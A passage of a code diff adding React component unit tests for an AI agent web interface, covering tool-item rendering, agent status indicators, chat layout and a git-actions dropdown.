+      expect(markdownRenderer).toHaveTextContent("");
+    });
+
+    it("should not display description when collapsed", () => {
+      // Arrange
+      const v0Tool: ChatCompletionToolParam = {
+        type: "function",
+        function: {
+          name: "test_function",
+          description: "Should not be visible",
+          parameters: {},
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={0}
+          isExpanded={false}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      expect(screen.queryByTestId("markdown-renderer")).not.toBeInTheDocument();
+    });
+  });
+
+  describe("Parameters Extraction", () => {
+    it("should display parameters from V0 format function.parameters when expanded", () => {
+      // Arrange
+      const v0Tool: ChatCompletionToolParam = {
+        type: "function",
+        function: {
+          name: "test_function",
+          description: "Description",
+          parameters: {
+            type: "object",
+            properties: {
+              param1: { type: "string" },
+            },
+          },
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const toolParameters = screen.getByTestId("tool-parameters");
+      expect(toolParameters).toBeInTheDocument();
+      // Verify that the parameters are rendered (ReactJsonView will render the JSON)
+      expect(toolParameters).toHaveTextContent("param1");
+    });
+
+    it("should display parameters from V1 format root level when expanded", () => {
+      // Arrange
+      const v1Tool = {
+        title: "V1 Tool",
+        description: "Description",
+        parameters: {
+          type: "object",
+          properties: {
+            param2: { type: "number" },
+          },
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v1Tool}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const toolParameters = screen.getByTestId("tool-parameters");
+      expect(toolParameters).toBeInTheDocument();
+      // Verify that the parameters are rendered (ReactJsonView will render the JSON)
+      expect(toolParameters).toHaveTextContent("param2");
+    });
+
+    it("should prioritize function.parameters over root parameters in V0 format", () => {
+      // Arrange
+      const v0Tool = {
+        type: "function",
+        function: {
+          name: "test_function",
+          description: "Description",
+          parameters: {
+            type: "object",
+            source: "function",
+          },
+        },
+        parameters: {
+          type: "object",
+          source: "root",
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const toolParameters = screen.getByTestId("tool-parameters");
+      expect(toolParameters).toBeInTheDocument();
+      // Verify that function parameters are used (not root parameters)
+      expect(toolParameters).toHaveTextContent("function");
+      expect(toolParameters).not.toHaveTextContent("root");
+    });
+
+    it("should not display parameters when they are null", () => {
+      // Arrange
+      const toolWithoutParameters = {
+        title: "Tool Name",
+        description: "Description",
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={toolWithoutParameters}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      expect(screen.queryByTestId("tool-parameters")).not.toBeInTheDocument();
+    });
+
+    it("should not display parameters when collapsed", () => {
+      // Arrange
+      const v0Tool: ChatCompletionToolParam = {
+        type: "function",
+        function: {
+          name: "test_function",
+          description: "Description",
+          parameters: {
+            type: "object",
+          },
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={0}
+          isExpanded={false}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      expect(screen.queryByTestId("tool-parameters")).not.toBeInTheDocument();
+    });
+  });
+
+  describe("Toggle Functionality", () => {
+    it("should call onToggle with correct index when toggle button is clicked", async () => {
+      // Arrange
+      const v0Tool: ChatCompletionToolParam = {
+        type: "function",
+        function: {
+          name: "test_function",
+          description: "Description",
+          parameters: {},
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={2}
+          isExpanded={false}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      const toggleButton = screen.getByTestId("toggle-button");
+      await user.click(toggleButton);
+
+      // Assert
+      expect(onToggleMock).toHaveBeenCalledOnce();
+      expect(onToggleMock).toHaveBeenCalledWith(2);
+    });
+
+    it("should show expanded content when isExpanded is true", () => {
+      // Arrange
+      const v0Tool: ChatCompletionToolParam = {
+        type: "function",
+        function: {
+          name: "test_function",
+          description: "Test description",
+          parameters: { type: "object" },
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      expect(screen.getByTestId("markdown-renderer")).toBeInTheDocument();
+      expect(screen.getByTestId("tool-parameters")).toBeInTheDocument();
+    });
+
+    it("should hide expanded content when isExpanded is false", () => {
+      // Arrange
+      const v0Tool: ChatCompletionToolParam = {
+        type: "function",
+        function: {
+          name: "test_function",
+          description: "Test description",
+          parameters: { type: "object" },
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={0}
+          isExpanded={false}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      expect(screen.queryByTestId("markdown-renderer")).not.toBeInTheDocument();
+      expect(screen.queryByTestId("tool-parameters")).not.toBeInTheDocument();
+    });
+  });
+
+  describe("Complex Scenarios", () => {
+    it("should handle V0 format with type field correctly", () => {
+      // Arrange
+      const v0Tool = {
+        type: "function",
+        function: {
+          name: "typed_function",
+          description: "Typed description",
+          parameters: { type: "object" },
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      expect(screen.getByTestId("toggle-button")).toHaveTextContent(
+        "typed_function",
+      );
+      expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(
+        "Typed description",
+      );
+      expect(screen.getByTestId("tool-parameters")).toBeInTheDocument();
+    });
+
+    it("should handle tool data where function is at root level (fallback behavior)", () => {
+      // Arrange
+      const toolWithFunctionAtRoot = {
+        name: "root_function",
+        description: "Root function description",
+        parameters: { type: "object" },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={toolWithFunctionAtRoot}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      expect(screen.getByTestId("toggle-button")).toHaveTextContent(
+        "root_function",
+      );
+      expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(
+        "Root function description",
+      );
+      expect(screen.getByTestId("tool-parameters")).toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/utils.ts b/__tests__/components/features/conversation-panel/utils.ts
new file mode 100644
index 0000000000000000000000000000000000000000..c1a60f9e60453457cc3beaabc7027ff521e208e3
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/utils.ts
@@ -0,0 +1,17 @@
+import { screen, within } from "@testing-library/react";
+import { UserEvent } from "@testing-library/user-event";
+
+export const clickOnEditButton = async (
+  user: UserEvent,
+  container?: HTMLElement,
+) => {
+  const wrapper = container ? within(container) : screen;
+
+  const ellipsisButton = wrapper.getByTestId("ellipsis-button");
+  await user.click(ellipsisButton);
+
+  const menu = screen.getByTestId("context-menu");
+  const editButton = within(menu).getByTestId("edit-button");
+
+  await user.click(editButton);
+};
diff --git a/__tests__/components/features/conversation/agent-status.test.tsx b/__tests__/components/features/conversation/agent-status.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..68e392f4cf05679459b36e913e07c37791a8894d
--- /dev/null
+++ b/__tests__/components/features/conversation/agent-status.test.tsx
@@ -0,0 +1,480 @@
+import type { SVGProps } from "react";
+import { act, fireEvent, render, screen } from "@testing-library/react";
+import { renderToStaticMarkup } from "react-dom/server";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { AgentStatus } from "#/components/features/controls/agent-status";
+import { AgentState } from "#/types/agent-state";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+import type { WebSocketConnectionState } from "#/contexts/conversation-websocket-context";
+import type { AppConversationStartTaskStatus } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { I18nKey } from "#/i18n/declaration";
+
+const agentStatusMocks = vi.hoisted(() => ({
+  useActiveConversation: vi.fn(),
+  useAgentNotification: vi.fn(),
+  useAgentState: vi.fn(),
+  useConversationStore: vi.fn(),
+  useSubConversationTaskPolling: vi.fn(),
+  useTaskPolling: vi.fn(),
+  useUnifiedWebSocketStatus: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: (namespace?: string) => ({
+    t: (key: string) =>
+      namespace === "openhands" ? key : `missing-namespace:${key}`,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: agentStatusMocks.useActiveConversation,
+}));
+
+vi.mock("#/hooks/use-agent-notification", () => ({
+  useAgentNotification: agentStatusMocks.useAgentNotification,
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: agentStatusMocks.useAgentState,
+}));
+
+vi.mock("#/stores/conversation-store", () => ({
+  useConversationStore: agentStatusMocks.useConversationStore,
+}));
+
+vi.mock("#/hooks/query/use-sub-conversation-task-polling", () => ({
+  useSubConversationTaskPolling: agentStatusMocks.useSubConversationTaskPolling,
+}));
+
+vi.mock("#/hooks/query/use-task-polling", () => ({
+  useTaskPolling: agentStatusMocks.useTaskPolling,
+}));
+
+vi.mock("#/hooks/use-unified-websocket-status", () => ({
+  useUnifiedWebSocketStatus: agentStatusMocks.useUnifiedWebSocketStatus,
+}));
+
+vi.mock("#/icons/u-clock-three.svg?react", () => ({
+  default: (props: SVGProps<SVGSVGElement>) => (
+    <svg data-testid="clock-icon" {...props} />
+  ),
+}));
+
+interface AgentStatusScenario {
+  agentState?: AgentState;
+  className?: string;
+  conversationId?: string | null;
+  disabled?: boolean;
+  executionStatus?: ExecutionStatus | null;
+  isPausing?: boolean;
+  subConversationTaskId?: string | null;
+  subConversationTaskStatus?: AppConversationStartTaskStatus;
+  taskStatus?: AppConversationStartTaskStatus;
+  webSocketStatus?: WebSocketConnectionState;
+}
+
+function renderAgentStatus({
+  agentState = AgentState.AWAITING_USER_CONFIRMATION,
+  className,
+  conversationId = "conversation-1",
+  disabled,
+  executionStatus = ExecutionStatus.WAITING_FOR_CONFIRMATION,
+  isPausing,
+  subConversationTaskId = "sub-task-1",
+  subConversationTaskStatus,
+  taskStatus,
+  webSocketStatus = "OPEN",
+}: AgentStatusScenario = {}) {
+  const handleResumeAgent = vi.fn();
+  const handleStop = vi.fn();
+  const setShouldShownAgentLoading = vi.fn();
+
+  agentStatusMocks.useActiveConversation.mockReturnValue({
+    data: conversationId ? { id: conversationId } : undefined,
+  });
+  agentStatusMocks.useAgentState.mockReturnValue({
+    curAgentState: agentState,
+    executionStatus,
+  });
+  agentStatusMocks.useConversationStore.mockReturnValue({
+    setShouldShownAgentLoading,
+    subConversationTaskId,
+  });
+  agentStatusMocks.useSubConversationTaskPolling.mockReturnValue({
+    taskStatus: subConversationTaskStatus,
+  });
+  agentStatusMocks.useTaskPolling.mockReturnValue({ taskStatus });
+  agentStatusMocks.useUnifiedWebSocketStatus.mockReturnValue(webSocketStatus);
+
+  const view = render(
+    <AgentStatus
+      className={className}
+      disabled={disabled}
+      handleResumeAgent={handleResumeAgent}
+      handleStop={handleStop}
+      isPausing={isPausing}
+    />,
+  );
+
+  return {
+    ...view,
+    handleResumeAgent,
+    handleStop,
+    setShouldShownAgentLoading,
+  };
+}
+
+afterEach(() => {
+  vi.clearAllMocks();
+  vi.useRealTimers();
+});
+
+describe("AgentStatus", () => {
+  it.each([
+    {
+      label: "the runtime is initializing",
+      scenario: {
+        agentState: AgentState.INIT,
+        conversationId: null,
+        executionStatus: null,
+      },
+    },
+    {
+      label: "the runtime is loading",
+      scenario: {
+        agentState: AgentState.LOADING,
+        executionStatus: null,
+      },
+    },
+    {
+      label: "the websocket is connecting",
+      scenario: { webSocketStatus: "CONNECTING" as const },
+    },
+    {
+      label: "the parent conversation task is polling",
+      scenario: { taskStatus: "WORKING" as const },
+    },
+    {
+      label: "the sub-conversation task is polling",
+      scenario: {
+        subConversationTaskStatus: "WORKING" as const,
+        taskStatus: "READY" as const,
+      },
+    },
+  ])("shows loading while $label", ({ scenario }) => {
+    const { setShouldShownAgentLoading } = renderAgentStatus(scenario);
+
+    expect(screen.getByTestId("agent-loading-spinner")).toBeInTheDocument();
+    expect(setShouldShownAgentLoading).toHaveBeenCalledWith(true);
+  });
+
+  it("shows local pause progress without reporting the agent as loading", () => {
+    const { setShouldShownAgentLoading } = renderAgentStatus({
+      isPausing: true,
+    });
+
+    expect(screen.getByTestId("agent-loading-spinner")).toBeInTheDocument();
+    expect(setShouldShownAgentLoading).toHaveBeenCalledWith(false);
+  });
+
+  it("reports loading changes after the component rerenders", () => {
+    const {
+      handleResumeAgent,
+      handleStop,
+      rerender,
+      setShouldShownAgentLoading,
+    } = renderAgentStatus();
+    expect(setShouldShownAgentLoading).toHaveBeenLastCalledWith(false);
+    setShouldShownAgentLoading.mockClear();
+    agentStatusMocks.useAgentState.mockReturnValue({
+      curAgentState: AgentState.LOADING,
+      executionStatus: null,
+    });
+
+    rerender(
+      <AgentStatus
+        handleResumeAgent={handleResumeAgent}
+        handleStop={handleStop}
+      />,
+    );
+
+    expect(setShouldShownAgentLoading).toHaveBeenCalledWith(true);
+  });
+
+  it("forwards the active conversation to sub-conversation polling", () => {
+    const { handleResumeAgent, handleStop, rerender } = renderAgentStatus({
+      conversationId: "conversation-42",
+      subConversationTaskId: "sub-task-42",
+    });
+    expect(
+      agentStatusMocks.useSubConversationTaskPolling,
+    ).toHaveBeenLastCalledWith("sub-task-42", "conversation-42");
+    agentStatusMocks.useActiveConversation.mockReturnValue({ data: undefined });
+
+    rerender(
+      <AgentStatus
+        handleResumeAgent={handleResumeAgent}
+        handleStop={handleStop}
+      />,
+    );
+
+    expect(
+      agentStatusMocks.useSubConversationTaskPolling,
+    ).toHaveBeenLastCalledWith("sub-task-42", null);
+  });
+
+  it("stops a running agent from an interactive status control", () => {
+    const { container, handleStop, setShouldShownAgentLoading } =
+      renderAgentStatus({
+        agentState: AgentState.RUNNING,
+        className: "custom-status-class",
+        executionStatus: ExecutionStatus.RUNNING,
+      });
+
+    const label = screen.getByText(I18nKey.AGENT_STATUS$RUNNING_TASK);
+    const stopButton = screen.getByTestId("stop-button");
+    expect(label).toHaveAttribute("title", I18nKey.AGENT_STATUS$RUNNING_TASK);
+    expect(label.parentElement).toHaveClass("custom-status-class");
+    expect(stopButton.parentElement).toHaveClass("cursor-pointer");
+    expect(screen.queryByTestId("circle-error-icon")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("clock-icon")).not.toBeInTheDocument();
+    expect(
+      container.querySelector(".lucide-circle-check"),
+    ).not.toBeInTheDocument();
+
+    fireEvent.click(stopButton);
+
+    expect(handleStop).toHaveBeenCalledTimes(1);
+    expect(setShouldShownAgentLoading).toHaveBeenCalledWith(false);
+  });
+
+  it("resumes a stopped agent", () => {
+    const { handleResumeAgent } = renderAgentStatus({
+      agentState: AgentState.STOPPED,
+      executionStatus: ExecutionStatus.PAUSED,
+    });
+
+    const playButton = screen.getByTestId("play-button");
+    expect(playButton).toBeEnabled();
+    expect(playButton.parentElement).toHaveClass("cursor-pointer");
+
+    fireEvent.click(playButton);
+
+    expect(handleResumeAgent).toHaveBeenCalledTimes(1);
+  });
+
+  it("keeps a paused agent disabled when resuming is unavailable", () => {
+    const { handleResumeAgent } = renderAgentStatus({
+      agentState: AgentState.PAUSED,
+      disabled: true,
+      executionStatus: ExecutionStatus.PAUSED,
+    });
+
+    const playButton = screen.getByTestId("play-button");
+    expect(playButton).toBeDisabled();
+
+    fireEvent.click(playButton);
+
+    expect(handleResumeAgent).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    {
+      label: "agent failure",
+      scenario: {
+        agentState: AgentState.ERROR,
+        executionStatus: ExecutionStatus.ERROR,
+      },
+    },
+    {
+      label: "rate limiting",
+      scenario: { agentState: AgentState.RATE_LIMITED },
+    },
+    {
+      label: "a closed websocket",
+      scenario: { webSocketStatus: "CLOSED" as const },
+    },
+    {
+      label: "a failed conversation task",
+      scenario: {
+        taskStatus: "ERROR" as const,
+        webSocketStatus: "CONNECTING" as const,
+      },
+    },
+  ])("shows an error indicator for $label", ({ scenario }) => {
+    renderAgentStatus(scenario);
+
+    expect(screen.getByTestId("circle-error-icon")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("agent-loading-spinner"),
+    ).not.toBeInTheDocument();
+    expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("play-button")).not.toBeInTheDocument();
+  });
+
+  it("shows a non-interactive waiting indicator for user confirmation", () => {
+    renderAgentStatus();
+
+    const clockIcon = screen.getByTestId("clock-icon");
+    const label = screen.getByText(
+      I18nKey.AGENT_STATUS$WAITING_FOR_USER_CONFIRMATION,
+    );
+    expect(label.parentElement).toHaveClass(
+      "flex",
+      "items-center",
+      "gap-1",
+      "min-w-0",
+    );
+    expect(label.parentElement?.className).not.toContain("Stryker");
+    expect(clockIcon.parentElement).toHaveClass(
+      "cursor-default",
+      "rounded-[100px]",
+      "size-6",
+      "transition-all",
+    );
+    expect(screen.queryByTestId("circle-error-icon")).not.toBeInTheDocument();
+  });
+
+  it("keeps persistent statuses rendered without confirmation timers", async () => {
+    vi.useFakeTimers();
+    renderAgentStatus();
+
+    await act(async () => {
+      await Promise.resolve();
+    });
+
+    expect(
+      screen.getByText(I18nKey.AGENT_STATUS$WAITING_FOR_USER_CONFIRMATION),
+    ).toBeInTheDocument();
+    expect(vi.getTimerCount()).toBe(0);
+  });
+
+  it("renders a finished confirmation on the initial server pass", () => {
+    const setShouldShownAgentLoading = vi.fn();
+    agentStatusMocks.useActiveConversation.mockReturnValue({
+      data: { id: "conversation-1" },
+    });
+    agentStatusMocks.useAgentState.mockReturnValue({
+      curAgentState: AgentState.FINISHED,
+      executionStatus: ExecutionStatus.FINISHED,
+    });
+    agentStatusMocks.useConversationStore.mockReturnValue({
+      setShouldShownAgentLoading,
+      subConversationTaskId: null,
+    });
+    agentStatusMocks.useSubConversationTaskPolling.mockReturnValue({
+      taskStatus: undefined,
+    });
+    agentStatusMocks.useTaskPolling.mockReturnValue({ taskStatus: undefined });
+    agentStatusMocks.useUnifiedWebSocketStatus.mockReturnValue("OPEN");
+
+    const markup = renderToStaticMarkup(
+      <AgentStatus handleResumeAgent={vi.fn()} handleStop={vi.fn()} />,
+    );
+
+    expect(markup).toContain(I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE);
+    expect(markup).not.toContain("opacity-0");
+  });
+
+  it("fades and hides a finished status after its brief confirmation", () => {
+    vi.useFakeTimers();
+    const { container } = renderAgentStatus({
+      agentState: AgentState.FINISHED,
+      executionStatus: ExecutionStatus.FINISHED,
+    });
+
+    const label = screen.getByText(
+      I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE,
+    );
+    const status = label.parentElement;
+    expect(status).toHaveClass("transition-opacity", "duration-500");
+    expect(status).not.toHaveClass("opacity-0");
+    expect(container.querySelector(".lucide-circle-check")).toBeInTheDocument();
+
+    act(() => {
+      vi.advanceTimersByTime(1000);
+    });
+    expect(status).toHaveClass("opacity-0");
+
+    act(() => {
+      vi.advanceTimersByTime(500);
+    });
+    expect(
+      screen.queryByText(I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE),
+    ).not.toBeInTheDocument();
+  });
+
+  it("cancels a ready-status timeout when the status unmounts", () => {
+    vi.useFakeTimers();
+    const { container, unmount } = renderAgentStatus({
+      agentState: AgentState.AWAITING_USER_INPUT,
+      executionStatus: ExecutionStatus.IDLE,
+    });
+
+    expect(
+      screen.getByText(I18nKey.AGENT_STATUS$WAITING_FOR_TASK),
+    ).toBeInTheDocument();
+    expect(container.querySelector(".lucide-circle-check")).toBeInTheDocument();
+    expect(vi.getTimerCount()).toBe(2);
+
+    unmount();
+
+    expect(vi.getTimerCount()).toBe(0);
+  });
+
+  it("keeps a non-transient status visible after a finished status expires", () => {
+    vi.useFakeTimers();
+    const { container, handleResumeAgent, handleStop, rerender } =
+      renderAgentStatus({
+        agentState: AgentState.FINISHED,
+        executionStatus: ExecutionStatus.FINISHED,
+      });
+
+    act(() => {
+      vi.advanceTimersByTime(1500);
+    });
+    expect(
+      screen.queryByText(I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE),
+    ).not.toBeInTheDocument();
+
+    agentStatusMocks.useAgentState.mockReturnValue({
+      curAgentState: AgentState.AWAITING_USER_CONFIRMATION,
+      executionStatus: ExecutionStatus.WAITING_FOR_CONFIRMATION,
+    });
+    rerender(
+      <AgentStatus
+        handleResumeAgent={handleResumeAgent}
+        handleStop={handleStop}
+      />,
+    );
+
+    const waitingLabel = screen.getByText(
+      I18nKey.AGENT_STATUS$WAITING_FOR_USER_CONFIRMATION,
+    );
+    expect(waitingLabel.parentElement).not.toHaveClass("opacity-0");
+
+    act(() => {
+      vi.advanceTimersByTime(2000);
+    });
+    expect(
+      screen.getByText(I18nKey.AGENT_STATUS$WAITING_FOR_USER_CONFIRMATION),
+    ).toBeInTheDocument();
+
+    const persistentStatusNode = container.firstElementChild;
+    agentStatusMocks.useAgentState.mockReturnValue({
+      curAgentState: AgentState.FINISHED,
+      executionStatus: ExecutionStatus.FINISHED,
+    });
+    rerender(
+      <AgentStatus
+        handleResumeAgent={handleResumeAgent}
+        handleStop={handleStop}
+      />,
+    );
+
+    expect(
+      screen.getByText(I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE),
+    ).toBeInTheDocument();
+    expect(container.firstElementChild).toBe(persistentStatusNode);
+  });
+});
diff --git a/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx b/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..dd796ff599c680f0b40df65174f0ea9030579295
--- /dev/null
+++ b/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx
@@ -0,0 +1,82 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ChatInterfaceWrapper } from "#/components/features/conversation/conversation-main/chat-interface-wrapper";
+import { useConversationStore } from "#/stores/conversation-store";
+
+vi.mock("#/components/features/chat/chat-interface", () => ({
+  ChatInterface: () => <div data-testid="chat-interface" />,
+}));
+
+vi.mock("#/components/features/conversation/conversation-overview-panel", () => ({
+  ConversationOverviewPanel: () => (
+    <div data-testid="conversation-overview-panel" />
+  ),
+}));
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+  useBreakpoint: () => false,
+}));
+
+const mockUseConversationOverviewColumnSpace = vi.fn(() => true);
+
+vi.mock("#/hooks/use-conversation-overview-column-space", () => ({
+  useConversationOverviewColumnSpace: () =>
+    mockUseConversationOverviewColumnSpace(),
+}));
+
+describe("ChatInterfaceWrapper", () => {
+  beforeEach(() => {
+    mockUseConversationOverviewColumnSpace.mockReturnValue(true);
+    useConversationStore.setState({
+      isOverviewPanelShown: false,
+      isOverviewPanelPeeked: false,
+      isRightPanelShown: false,
+    });
+  });
+
+  it("renders the chat interface when the right panel is hidden", () => {
+    render(<ChatInterfaceWrapper isRightPanelShown={false} />);
+
+    expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+  });
+
+  it("renders the chat interface when the right panel is shown", () => {
+    render(<ChatInterfaceWrapper isRightPanelShown />);
+
+    expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+  });
+
+  it("uses the overview grid layout when space is available", () => {
+    useConversationStore.setState({ isOverviewPanelShown: true });
+    render(<ChatInterfaceWrapper isRightPanelShown={false} />);
+
+    expect(screen.getByTestId("conversation-overview-column")).toBeInTheDocument();
+    expect(screen.getByTestId("conversation-overview-panel")).toBeInTheDocument();
+  });
+
+  it("keeps the thread in a height-constrained flex column when overview is shown", () => {
+    useConversationStore.setState({ isOverviewPanelShown: true });
+    const { container } = render(
+      <ChatInterfaceWrapper isRightPanelShown={false} />,
+    );
+
+    const threadColumn = container.querySelector(".overflow-hidden.flex-1");
+    expect(threadColumn).toBeInTheDocument();
+    expect(threadColumn).toHaveClass("min-h-0");
+  });
+
+  it("falls back to the centered thread layout when the right column is too narrow", () => {
+    mockUseConversationOverviewColumnSpace.mockReturnValue(false);
+    useConversationStore.setState({ isOverviewPanelShown: true });
+
+    render(<ChatInterfaceWrapper isRightPanelShown={false} />);
+
+    expect(
+      screen.queryByTestId("conversation-overview-column"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-overview-panel"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx b/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..679208430c9909e726ce768076027b164a40f095
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx
@@ -0,0 +1,84 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { ConversationGitActionsToggle } from "#/components/features/conversation/conversation-git-actions-toggle";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const { breakpointIsMobile } = vi.hoisted(() => ({
+  breakpointIsMobile: { value: false },
+}));
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+  useBreakpoint: () => breakpointIsMobile.value,
+}));
+
+vi.mock("#/hooks/use-is-archived-conversation", () => ({
+  useIsArchivedConversation: () => false,
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: {
+      id: "conv-1",
+      git_provider: "github",
+    },
+  }),
+}));
+
+describe("ConversationGitActionsToggle", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    breakpointIsMobile.value = false;
+    useConversationStore.setState({ messageToSend: null });
+  });
+
+  it("stays visible on smaller screens", () => {
+    breakpointIsMobile.value = true;
+
+    render(<ConversationGitActionsToggle />);
+
+    expect(
+      screen.getByTestId("conversation-git-actions-toggle"),
+    ).toBeInTheDocument();
+  });
+
+  it("opens a dropdown of git actions and fills the composer with prompts", async () => {
+    const user = userEvent.setup();
+    render(<ConversationGitActionsToggle />);
+
+    await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+
+    await user.click(
+      await screen.findByTestId("conversation-git-actions-commit"),
+    );
+    expect(useConversationStore.getState().messageToSend?.text).toContain(
+      "commit",
+    );
+
+    await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+    await user.click(screen.getByTestId("conversation-git-actions-pull"));
+    expect(useConversationStore.getState().messageToSend?.text).toContain(
+      "pull",
+    );
+
+    await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+    await user.click(screen.getByTestId("conversation-git-actions-push"));
+    expect(useConversationStore.getState().messageToSend?.text).toContain(
+      "push",
+    );
+
+    await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+    await user.click(screen.getByTestId("conversation-git-actions-create-pr"));
+    expect(useConversationStore.getState().messageToSend?.text).toContain(
+      "pull request",
+    );
+
+    await user.click(screen.getByTestId("conversation-git-actions-toggle"));
+    await user.click(
+      screen.getByTestId("conversation-git-actions-create-new-branch"),
+    );
+    expect(useConversationStore.getState().messageToSend?.text).toContain(
+      "new branch",
+    );
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-loading.test.tsx b/__tests__/components/features/conversation/conversation-loading.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..180c501a4ed7ae631b0ce576e7da5abc04c7bd9c
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-loading.test.tsx
@@ -0,0 +1,15 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { ConversationLoading } from "#/components/features/conversation/conversation-loading";
+
+// react-i18next is mocked globally in vitest.setup.ts (t returns the key), so
+// the rendered text is the I18nKey itself (HOME$LOADING).
+describe("ConversationLoading", () => {
+  it("renders the loading message", () => {
+    // Arrange & Act
+    render(<ConversationLoading />);
+
+    // Assert — the loading status text is surfaced to the user
+    expect(screen.getByText("HOME$LOADING")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-main.test.tsx b/__tests__/components/features/conversation/conversation-main.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..966905fdb795ce0b8092434fef30b99bd4fff7c1
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-main.test.tsx
@@ -0,0 +1,157 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { SidebarMobileNavProvider } from "#/components/features/sidebar/sidebar-mobile-nav-context";
+
+// Mutable mock state for controlling breakpoint
+let mockIsMobile = false;
+let mockIsRightPanelShown = false;
+let mockLeftWidth = 50;
+
+// Track ChatInterface unmount via vi.fn()
+const chatInterfaceUnmount = vi.fn();
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+  useBreakpoint: () => mockIsMobile,
+  SIDEBAR_RAIL_COLLAPSE_MAX_WIDTH: 767,
+}));
+
+vi.mock("#/hooks/use-resizable-panels", () => ({
+  useResizablePanels: () => ({
+    leftWidth: mockLeftWidth,
+    rightWidth: 100 - mockLeftWidth,
+    isDragging: false,
+    containerRef: { current: null },
+    handleMouseDown: vi.fn(),
+  }),
+}));
+
+vi.mock("#/stores/conversation-store", () => ({
+  useConversationStore: () => ({
+    isRightPanelShown: mockIsRightPanelShown,
+  }),
+}));
+
+// Mock ChatInterface with useEffect to track mount/unmount lifecycle
